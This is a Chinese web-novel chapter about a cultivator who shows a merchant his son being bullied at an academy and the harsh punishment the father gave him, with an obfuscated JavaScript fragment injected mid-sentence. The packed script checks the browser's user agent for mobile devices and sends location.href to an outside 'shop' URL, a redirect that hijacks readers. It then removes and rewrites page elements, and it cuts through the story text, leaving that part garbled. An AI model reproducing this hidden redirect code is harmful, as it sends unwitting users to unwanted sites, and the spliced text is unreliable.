“那或许是……”书悦环顾四周,伸手轻抚下颌思忖,“你夫人心中还有其他不平之事?别急,我们再观察观察。” 正说话间,屋里传来一阵朗朗读书声,清脆响亮,稚嫩却朝气蓬勃,里头大概是一些年纪不大的孩子。 “‘琼宇书院’,这里是哪儿,你知道么?”书悦抬手一指远处的建筑问严高谊。 “知道的。”对方点点头,神色隐约有些自得。 他续道:“这书院可有名了,入学门槛也高。据说里头的夫子是仙盟修士,凡是他教过的孩子都能变得知书达礼、懂事乖巧,据说什么有‘灵根’的还能跟他修仙呢,谁都想把自家孩子往里送。” 严高谊说着,旋即想到前两日自家孩子的表现,不由脸上一热,无奈轻叹一声,摇头道:“就是犬子资质愚钝,再好的先生都教不好他。” “然后呢?”书悦不作评价,只点点头追问。 “呃,什么然后?”严高谊一怔,挠挠头,又很快反应过来,讪讪一笑。 “我平日忙,其实没怎么管过小宝,都是他娘在料理这些事。后来听说他不学好,他娘便不再送他去学堂了,我们还为此大吵了一架,毕竟当初送小宝入学也不容易,后来只请了寻常教书先生上家里来教。” “行,那我们先去里面看看吧。” 书悦没再问,当先沿着石板路穿过月门,循着读书声往书院去。 只见学堂内窗明几净,木制的长桌与条凳整齐陈列,一个个半大孩子坐在凳上,双手捧着本书卷齐声朗读,摇头晃脑的,模样憨态可掬。 教书先生着一袭青衣,一手负在身后,单手捧着书卷在桌椅的过道中来回巡视。 有一人忽然从座位上站起,伸长手臂揪了一下前座孩子的头发,扯得人上身跟着后仰。却在对方转头之前,他又飞快坐了回去,装模作样地捧着书继续朗读。 见前座那孩子疑惑转头,皱眉看他一会儿便又转回去了,他乐得偷笑,过一会儿又起身继续扯人家的头发。 重复几次之后,那孩子又气又委屈,来回看着他和教书先生,似是顾虑什么,欲言又止,最后悻悻然瞪他一眼又转回身去。 他得意地笑起来,还在人背后做鬼脸,却见身侧另一个孩子猛地站起身,一手指着他,大声道:“先生,他欺负人!” 细听之下,他虽喊得大声,声线却因紧张而有些颤抖。 其余孩子恰读到停顿处,那孩子的声音显得突兀,一下便吸引教书先生的目光。 他正是严高谊与曲婉莺的儿子,名唤严正浩。 先生闻声抬头,示意大家停下,扫了眼两人,双眉紧蹙,沉声问:“怎么回事?” 严正浩指着捉弄人的孩子,指尖微颤,眼神豁出去一般逐渐变得坚定:“龚玉山欺负人,他一直揪别人头发。” “我揪谁的头发?” 未想龚玉山根本有恃无恐,懒洋洋倚在桌上,反问一句。 看模样,他大概是这一屋子里年纪最大的孩子,身材肥胖,头脸圆润,侧身单手支在桌上托着脸,颊边一团肥肉被挤压得凸出,在手背上堆叠。身上衣着华贵,光脖颈上套的平安锁便价值不菲,隐约泛着灵光。 “她!”严正浩指了指对方前座的孩子。 “是吗?我问一下。” 龚玉山装模作样地又直起身,伸长手臂揪了一下前座孩子的头发,笑眯眯地恐吓:“我是揪你的头发吗?我没有吧?” “哎呀!” 他揪着那缕头发不肯松手,前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008525|135606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座孩子被扯得头皮发痛,只能顺着他的力道往后仰,委屈得双目发红,却摇头道:“没、没有……” 前座是个女孩子,一头秀发乌黑亮丽,被巧手编成精致的双环髻,却被硬生生扯落几根发丝,发髻也跟着松散,委屈得双眸泛泪。 “你!” 严正浩睁大眼,下意识回头看向教书先生,却见对方冷漠抱起双臂,丝毫没有要插手的意思,顿时一股无名火烧上心头,委屈与恐惧通通化作薪柴,竟冲动上前,大力推了龚玉山一把。 “唔……” 不知是他力气大还是怎么,未想到龚玉山竟被他推动,带着桌椅往后连退好几步,腰背撞上了其他孩子的桌子。 “你找死!” 龚玉山疼得面色扭曲一瞬,很快缓过劲直起身来,大叫着推开拦在身前的桌子,猛地抄起地上的条凳便往严正浩头上砸。 “啊!——”整个学堂陡然哄闹起来,附近的几人远远避开,鹌鹑似的抱在一起躲在角落。 严正浩本就是冲动,那推的一下已经耗尽了他的勇气,此时见着那向自己脑袋上砸下来的条凳,不由面色苍白,全身僵住,傻乎乎干站着不懂得躲开。 “住手!” 那一条凳砸下去,脑门不得开花。教书先生终于坐不住,猛地低斥一声,那快落下去的条凳竟停在空中,任龚玉山怎么用力都纹丝不动,定在那儿。 他走上前把条凳放下来,又沉着脸瞪了他们一眼,道:“明日散学后,把你们家长叫来!”接着便走上讲台,招呼众人回座位。 龚玉山“嘁”了一声,脸色不甘重新坐下来,暗自翻了个白眼,又对着严正浩做鬼脸,还放狠话道:“我爹娘不会放过你的,你死定了!” 严正浩瞥他一眼,默不作声重新坐下,面色却比刚才更白,嘴唇微抿,有些心不在焉地继续听课。 书悦站在廊外旁观全程,不知不觉间身侧站了两人。她观察着严正浩的反应,随口问:“当初这件事,你们怎么处理的?” 等了会儿没听见严高谊回答,她转过头,却见对方沉默地看着里面,神色挣扎自责,似是回想起什么,垂在身侧的双手也攥成了拳。 见状,她心下已有几分了然,便没追问。 严高谊却抹了把脸,主动交代道:“那时候,小宝散学回来与我们说了先生请我们到书院里去,问他为什么又一直不肯说,我便不分青红皂白先将他揍了一顿,还罚他不许吃饭……” 话音落下,身周场景变换,是严高谊府上。 孩子散学回来,果然与父母交代了教书先生嘱咐的事,夫妻俩追问为什么,他却不肯说,嘴唇抿得死紧。 严高谊先入为主觉得他在书院里闯了祸又不敢说,二话不说便抄起藤条一下抽在他身上,怒道:“给我滚屋里去,谁都不许给他送饭!” 小孩儿被他吓了一跳,肩膀轻轻一耸,随即哇的一声哭出来。严高谊却狠心地让下人把他带走,于是他便被领着边哭边走回去。 入夜,严正浩躺在榻上翻来覆去睡不着,肚子饿得咕咕直叫,忽听门外传来细微声响,有人柔声唤他:“小宝,睡下了?” 他一听是娘亲的声音,猛地翻身下床,顾不上穿好鞋袜,立刻奔去给她开门,果见曲婉莺提着食盒站在门外。 “阿娘……”他嗅到了饭菜香味,鼻尖一酸,眼泪滚滚而落,随即猛地扑进娘亲怀里。 “诶。”曲婉莺轻应一声,张开双臂温柔拥住他,牵着他的手进屋去,点了蜡烛,揭开食盒,将吃食一一摆上桌案。 曲婉莺到底心疼孩子,背着丈夫偷偷带了吃食给孩子送去。 严正浩吃饭配眼泪,被娘亲抱进怀里柔声安慰几句,终于开了口,将事情原委都交代了。 第二日,严高谊忙生意,早早出了门去,本是答应下午要回来与妻子同去书院,却爽约。 曲婉莺在家中等他半晌始终不见人影,便带着随从独自去书院。 未想到地儿之后,那堂里已有好些人,各个非富即贵,坐在桌边安静饮茶。见她牵着严正浩进门,几人抬眸瞥她一眼又很快移开视线。 其中一个美妇人放下茶盏,唇角微勾,侧头问教书先生:“原来贵院入学门槛如此之低,无论什么样出身的孩子,都能与我山儿同窗?”